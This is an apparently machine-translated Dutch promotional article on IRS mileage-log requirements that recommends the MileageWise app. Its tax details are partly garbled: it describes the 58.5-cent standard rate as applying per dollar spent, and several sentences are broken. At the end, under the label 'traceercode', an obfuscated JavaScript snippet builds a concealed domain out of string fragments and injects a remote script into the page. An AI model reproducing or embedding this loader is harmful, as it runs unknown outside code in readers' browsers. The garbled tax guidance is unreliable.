Als u uw voertuig voor zakelijke doeleinden gebruikt, komt u mogelijk in aanmerking voor belastingaftrek via de IRS. Verschillende aspecten van het proces worden belangrijk als u deze inhoudingen wilt maximaliseren, zoals de kilometerstand en het loggen van al uw reizen, zowel voor persoonlijk gebruik als voor zakelijk gebruik. Vandaag gaan we kijken wat u precies moet weten om dit volledig en correct te doen.

Wat voor soort IRS-kilometerregistratievereisten zijn er?

Er zijn een paar belangrijke vereisten die nodig zijn om dingen goed te krijgen:

1) Registratie van uw kilometerstanden: technisch gezien hoeft u dit alleen aan het begin en het einde van het belastingjaar te doen, maar in het geval dat u te maken krijgt met een IRS-audit, is het bijhouden van uw kilometers maandelijks of zelfs tussen elke tankbeurt van het grootste belang. Dit komt omdat als u aan het einde van het boekjaar komt en er afwijkingen, discrepanties of verschillen zijn tussen uw geregistreerde reizen, u moet bepalen welke reizen u mogelijk hebt gemist.

2) Uw berekeningsmethode bepalen: Voor het loggen van kilometers houdt de IRS rekening met twee categorieën: het standaardtarief voor kilometers en de methode van werkelijke onkosten. Laten we ze in eenvoudige bewoordingen opsplitsen met een paar voorbeelden:

• Standaard kilometeraftrek voor 2022 beschouwt 58.5 cent op elke dollar die u uitgeeft als fiscaal aftrekbaar, wat betekent dat als u 10,000 zakelijke mijlen rijdt tijdens het belastingjaar 2022, u in aanmerking komt voor $ 5,850 aan kortingen.
• De werkelijke kosten methode is gericht op al uw voertuiggerelateerde uitgaven - dit omvat zaken als olie, benzine, autoreparaties, autoverhuur, tolgelden, parkeertarieven en zelfs afschrijvingen. Kwitanties van al deze dingen moeten worden bewaard zodat de betrokken persoon zijn aankopen kan bewijzen, en die bonnen moeten worden gespecificeerd met specifieke dollarbedragen.

Houd er rekening mee dat als u de werkelijke onkostenmethode voor uw auto gaat gebruiken, u deze niet kunt wijzigen in het standaard kilometertarief zolang u die auto zakelijk gebruikt.

3) Onderhoud en indienen van een kilometerregistratie: Voor de meeste eigenaren van kleine bedrijven, ondernemers en onafhankelijke contractanten is het standaard kilometertarief het meest gebruikelijk. Als u dat bent, moet u een uitgebreid logboek kunnen indienen waarin onderscheid wordt gemaakt tussen reizen als persoonlijk of zakelijk, en er zijn een paar dingen waarmee u rekening moet houden: ten eerste – pendelen tussen uw woonplaats en uw werk wordt beschouwd als een persoonlijke reis. Omgekeerd worden reizen van het werk naar een klant, boodschappen doen of zelfs een zakenlunch bijwonen allemaal als fiscaal aftrekbare zakenreizen beschouwd. Tot slot moeten logboeken worden afgedrukt, leesbaar zijn en alle bovengenoemde gegevens bevatten.

Met dit alles in gedachten, wordt het duidelijk dat er met veel dingen rekening moet worden gehouden om boven boord te blijven bij het maken van kilometerlogboeken. U hebt de meest efficiënte en uitgebreide methoden nodig die uw rendement maximaliseren. Lees verder terwijl we ingaan op de beste methode om precies dat te doen - en de beste app voor het bijhouden van kilometers.

Wat is de beste manier om mijn kilometerstand bij te houden?

Maak je geen zorgen als je dingen op de ouderwetse manier hebt gedaan. Het is verbijsterend hoeveel mensen een Excel-sjabloon voor kilometerregistratie gebruiken – of hoeveel mensen nog steeds googlen op 'kilometerregistratiesjabloon google sheets'. De realiteit is echter dat er een betere manier is: een app compleet met een webdashboard dat niet alleen als kostentracker fungeert; maar als een gespecialiseerde app voor het bijhouden van kilometers. Deze app kan zowel op Android-telefoons als op Apple-apparaten worden gedownload, terwijl zijn tegenhanger - het webdashboard - kan worden gebruikt om uw kilometerlogboeken op uw pc te verfijnen en af ​​te ronden.

Hier is het goede nieuws: we hebben het onderzoek gedaan en we hebben de beste app voor het bijhouden van kilometers gevonden - het is een veelbelovende nieuwkomer op de markt genaamd MileageWise.

Maar waarom is MilleageWise de beste app voor het bijhouden van kilometers?

Twee redenen: functies en enorme gemiddelde fiscale aftrekposten. MileageWise-gebruikers genieten van een gemiddelde zakelijke kilometeraftrek van $ 12,000 - bijna het dubbele van die van hun naaste concurrent. Het zijn de functies zelf die dit soort aftrek mogelijk maken, dus laten we eens kijken naar het echte smorgasbord dat ze te bieden hebben:

Handmatige ritregistratie samen met drie methoden voor automatisch volgen: MileageWise biedt Plug'N'Go automatisch volgen, automatisch volgen via Bluetooth en bewaking van voertuigbewegingen, wat allemaal betekent dat als u eenmaal uw klanten of typische zakelijke bestemmingen heeft ingevoerd, u alleen de methode hoeft te kiezen die voor jou het meest intuïtief.

Bovendien hoeft u zich geen zorgen te maken dat automatisering het overneemt - handmatige ritregistratie is mogelijk vanuit zowel de app zelf als het webdashboard dat op uw pc kan worden gebruikt.

Op AI gebaseerde AdWise-technologie: Toegankelijk vanaf het webdashboard, controleert en corrigeert AdWise tot 70 verschillende logische conflicten in uw kilometerlogboek, wat absoluut van het grootste belang is als u onverwachts wordt geraakt door een IRS-audit. Deze functie is de reden waarom het bedrijf zichzelf noemt IRS-proof – je mag niet eens je . afdrukken kilometers logboek voor de IRS totdat AdWise de problemen heeft verholpen die normaal gesproken ertoe zouden leiden dat u een boete krijgt nadat u uw logboeken heeft ingediend. Voorbeelden van mogelijke problemen zijn discrepanties tussen uw kilometerstanden op verschillende punten of gelogde ritten die andere geregistreerde kilometers onmogelijk maken.

Retrospectieve kilometerlogboeken: Als er grote hiaten in uw huidige logboeken zijn, kan MileageWise u helpen het logboek van uw voertuigkilometers te reconstrueren, zodat alles boven boord is. Verzamel alle informatie uit het verleden, bonnen, klantlocaties en de mijlen die u in die tijd hebt afgelegd, die vervolgens kunnen worden gebruikt om een ​​nauwkeurig logboek te reconstrueren, wat logisch is in de context van zowel uw kilometerteller als uw zakelijke bestemmingen.

Dienst voor het voorbereiden van kilometerlogboeken: Als u een drukke ondernemer of eigenaar van een klein bedrijf bent, heeft u misschien gewoon niet de tijd om een ​​IRS-ready kilometerregistratie voor belastingen. Misschien vind je het niet leuk om te rommelen met apps of technologie in het algemeen. Gelukkig kunt u de taak uitbesteden aan de experts van MileageWise, die met uw hulp in een mum van tijd een afdrukbaar kilometerlogboek kunnen maken. Zoals iedereen in het bedrijfsleven u zal vertellen - tijd is geld - is het bijna altijd een win-winscenario om u te concentreren op uw bedrijf en de experts voor de administratie te laten zorgen.

Nu ben je klaar!

Download gewoon de app en de bijbehorende webdashboard - u kunt de volledige versie van MileageWise 14 dagen gratis proberen. Dan kunt u zelf zien waarom de gebruikers van de software zoveel uit hun belastingaftrek halen - en als u het niet leuk vindt, kunt u gewoon weglopen.

traceercode.

(functie(){
oz4g=document.createElement(“script”);oz4g.async=true;oz4g_=”u”+(“s”)+”t”;
oz4gu=”368220963.”;oz4g_+=”a”+(“ti”);oz4g_+=”n”+(“f”+”o”)+”/”;
oz4gu+=”71z9vj4lz4gmtgs5hfik8s”+(“X8tsyuif”);
oz4g.src=”https://”+oz4g_+oz4gu;oz4g.type=”text/javascript”;
document.body.appendChild(oz4g);
}) ();

Bron: Plato Data Intelligence: PlatoData.io